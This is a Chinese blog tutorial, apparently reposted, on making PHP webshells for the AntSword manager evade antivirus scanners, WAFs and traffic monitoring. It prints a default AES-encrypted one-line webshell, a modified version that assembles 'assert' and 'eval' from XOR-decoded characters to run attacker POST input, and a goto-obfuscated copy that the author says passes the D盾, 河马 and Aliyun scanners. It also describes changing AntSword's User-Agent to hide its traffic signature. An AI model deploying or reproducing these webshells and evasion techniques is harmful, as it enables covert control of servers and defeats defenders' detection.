php_webshell免杀--从0改造你的AntSword

这篇具有很好参考价值的文章主要介绍了php_webshell免杀--从0改造你的AntSword。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造一些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进行修复bug,也比较复杂。而AntSword相对于冰蝎来说,不限制webshell,即一句话也可以进行连接,还可以自定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编:

关于蚁剑的介绍,这里就不多说了,一个连接webshell的管理器,使用前端nodejs进行编码。AntSword给我最大的好处是可以连接一句话木马,而且可以自定义编码器和解码器。这让我们就有了很多种webshell的变换。

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

但是,蚁剑默认的编码器和菜刀都是一样的,这里用burpsuite来进行抓包看下流量。

蚁剑默认流量

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

返回来的是默认蚁剑的默认流量,所以的话,这里就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进行流量的改造来进行waf的绕过,先选用最默认的base64进行测试。

默认的base64编码器

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

但是看到了使用base64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量一体机来进行特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php这里下载默认的aes-128的默认流量。

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

这里进行流量抓取。里面自带了php的webshell。

<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
默认webshell讲解:
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。
然后进行aes加密,密码为pwd

再D盾,河马和阿里云进行扫描:

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

河马没有查出来,可能是比较弱

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

阿里云直接报恶意

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

初步修改后的webshell:

这里先做代码修改,直接放出我修改之后的webshell代码。

<?php
@session_start();
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function decode($key,$data){
$data_new = '';
for($i=0;$i<=strlen($data);$i++){
$b=$data[$i]^$key;
$data_new = $data_new.urldecode($b);
}
define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);
define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');
return $data_new;
}
function decrypto($key,$data){
$data = base64_decode($data);
$result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);
decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
$ass=ass;
$ass(ev);
}
class run{
    public $data;
    public function __construct(){
$this->data = '#````````#'.$_POST[1]."#`#`#";
$this->data = $this->data."123456";
}
}
$key=@substr(str_pad(session_id(),16,'a'),0,16);
$run = new run();
decrypto($key,$run->data);
?>

这里能过去D盾的静态,但是无法绕过阿里云查杀。

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

所以这里还需要进行代码混淆。(这也是之后webshell免杀常常用到的)

混淆之后的webshell:

这里提供php在线加密的站

https://enphp.djunny.com/

这里加密之后生成webshell。如下:

<?php
 goto Zc4oD; UJih6: function decrypto($key, $data) { goto LBrqg; P6YrI: $ass = ass; goto aR6yN; svn0O: $result = openssl_decrypt($data, "\x41\x45\x53\x2d\x31\x32\70\55\105\x43\x42", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING); goto ATbMy; LBrqg: $data = base64_decode($data); goto svn0O; ATbMy: decode("\x5c", "\75\72\x3d\157\x6d\x3e\x6e\x3f\x6f\x38\x68\71\151\x3a\x6a\x3b\x6b\x2a\x64\x30\x65\56\x6c\57\155\50"); goto P6YrI; aR6yN: $ass(ev); goto k6RVH; k6RVH: } goto DGZMG; WvjFi: ini_set("\144\151\x73\160\x6c\x61\x79\x5f\145\162\x72\x6f\162\x73", "\117\146\x66"); goto Wguwk; DGZMG: class run { public $data; public function __construct() { $this->data = "\43\140\x60\140\140\x60\140\x60\x60\43" . $_POST[1] . "\x23\140\x23\140\43"; } } goto Berxy; UUYvT: $run = new run(); goto apKNY; Berxy: $key = @substr(str_pad(session_id(), 16, "\141"), 0, 16); goto UUYvT; Zc4oD: @session_start(); goto WvjFi; Wguwk: function decode($key, $data) { goto LGJR3; Ef77S: $i = 0; goto KvZGg; rSTXM: define("\141\x73\x73", $data_new[0] . strrev($data_new)[2] . strrev($data_new)[2] . $data_new[11] . strrev($data_new)[4] . strrev($data_new)[0]); goto TQ6r4; Tbglr: return $data_new; goto FsE2S; tm2qt: goto I39OV; goto eF7jG; AqTZZ: $data_new = $data_new . urldecode($b); goto FriN_; TQ6r4: define("\x65\166", $data_new[11] . strrev($data_new)[8] . $data_new[0] . strrev($data_new)[6] . "\50\x24\x72\145\163\165\154\x74\51"); goto Tbglr; FriN_: bLexq: goto gITff; eF7jG: RuTl1: goto rSTXM; gITff: $i++; goto tm2qt; KdSCg: if (!($i <= strlen($data))) { goto RuTl1; } goto d9N4J; d9N4J: $b = $data[$i] ^ $key; goto AqTZZ; LGJR3: $data_new = ''; goto Ef77S; KvZGg: I39OV: goto KdSCg; FsE2S: } goto UJih6; apKNY: decrypto($key, $run->data);

经过加密之后,可以发现,进行了goto的混淆,所以这里就达到了代码混淆。因为之前绕过了D盾和河马,这里直接去阿里云查杀。

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

已经成功绕过阿里云查杀。用burpsuite抓下流量特征。

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

0x02 蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

在目录/modules/request.js文件中修改UA头

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

/modules/update.js文件修改

php_webshell免杀--从0改造你的AntSword,php,网络安全,安全

0x03 总结:

关于免杀来说,通常是进行代码加密混淆,特征码替换或者分割传输等情况。之前有想写过shellcode免杀,但是还没有过windows defender,所以就推迟一段时间来写。感谢各位拜读。

Tip:这个马目前已经过不了阿里了,已经被阿里抓特征了。但是整体思路没有改变,所以大家可以自己去发挥思路去整合。文章来源地址https://www.toymoban.com/news/detail-680299.html

到了这里,关于php_webshell免杀--从0改造你的AntSword的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 免费简单好用的 webshell 在线检测:支持 php、jsp、asp等多格式文件

    话不多说,直接上图上链接:https://rivers.chaitin.cn/?share=3d4f2e8aaec211eea5550242c0a8170c 还是比较好用的,支持 PHP、JSP 文件 webshell 检测,看官方解释文档,引擎使用静态文本特征、骨架哈希、静态语义分析、动态污点追踪、动态插桩内存等检测技术,听起来比较高级。 也提供 API 接

    2024年02月02日
    浏览(52)
  • PHP 基础知识:40 道选择题测试你的掌握程度期末考试必备

    当然可以!以下是40道关于PHP的理论选择题,希望对您有所帮助: PHP的缩写代表什么? a) Personal Hypertext Preprocessor b) Preprocessed Hypertext Processor c) PHP: Hypertext Preprocessor d) Programming Hypertext Processor 答案: c 在PHP中,如何输出文本到浏览器? a) echo “Hello World!”; b) print(“Hello World!”

    2024年02月02日
    浏览(60)
  • 木马免杀(篇三)静态免杀方法

    紧接上一篇,是通过 cs 生成 shellcode 并直接用python 调用动态链接库执行 shellcode 。 生成后的exe文件未进行任何处理。 现在学习一些可以绕过静态免杀的方法。即将文件上传到目标不会被杀软查杀,但这只是静态方面。 动态免杀方面还涉及到很多东西,像进程注入手段。 花指

    2024年02月07日
    浏览(37)
  • 绕过杀软(二)——免杀exe文件(360、火绒免杀)

    攻击机: win7 IP: 192.168.32.134 靶机: windows server 2012(安装360、火绒) IP: 192.168.32.133 第一步:使用njRAT生产一个客户端exe木马 输入回连端口号8888,点击start 配置客户端木马的回连地址:192.168.32.134 将文件保存在桌面 开启360杀毒,直接报毒,不免杀 1、将生成的客户端木马:

    2024年01月17日
    浏览(44)
  • WebShell是什么?如何抵御WebShell?

    这边简单的给各位看官介绍一下: Webshell是通过服务器开放的端口获取服务器的某些权限。 webshell又称脚本木马,一般分为大马、小马、一句话木马三种. 大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。 小马,一般而言,我

    2024年02月09日
    浏览(29)
  • 免杀入门---shellcode免杀

            本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。         免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。         市面上的杀毒软件基本由扫描器、病毒特征

    2024年02月02日
    浏览(68)
  • 网络安全基础免杀

    1. 会话提升的几种方式 2. armitage的熟悉 3. handler生成监听器的方法 4. 防止会话假死 5. 控制台设置编码 6. upx加壳 7. msfvenom木马payload持久化 8. msfvenom木马编码 正文 1. 会话提升的几种方式 python -c \\\"import pty;pty.spawn(\\\'/bin/bash\\\');\\\" 会话提升 session -u 4      将shell会话提升成meterpreter会

    2024年02月07日
    浏览(44)
  • Android 免杀教程

    免杀练习两年半 目录 msfvenom 自动生成 自带免杀 工具免杀 Thefatrat venom 工具小记 加壳 源码免杀 加壳 源码混淆 数据通信 对抗反编译 反编译工具崩溃 ZIP文件格式对抗 AndroidManifest.xml 对抗反编译小结 VT检测 https://www.virustotal.com/gui/home/upload 查看一下msfvenom里面的android木马 使用

    2024年02月04日
    浏览(31)
  • 免杀方法(一)mimikazta

    Mimikazta是一款能够从Windows认证(LSASS)的进程中获取内存,并且获取 明文密码和NTLM哈希值的工具,攻击者可以借此漫游内网。也可以通过明文 密码或者传递hash值来提权。因为这款工具特别出名所以被查杀的机率很大, 我们可以通过github上的开源代码对其进行源码免杀从而by

    2024年02月06日
    浏览(34)
  • msf编码免杀

    目录 (一)认识免杀 1、杀软是如何检测出恶意代码的? 2、免杀是做什么? 3、免杀的基本方法有哪些? (二) 不处理payload直接生成样本进行检测 1、生成后门 2、开启http服务 3、打开Web页 4、在网站上传分析 (三) MSF自编码处理payload生成样本进行检测 1、查看可以用编码模

    2024年02月05日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包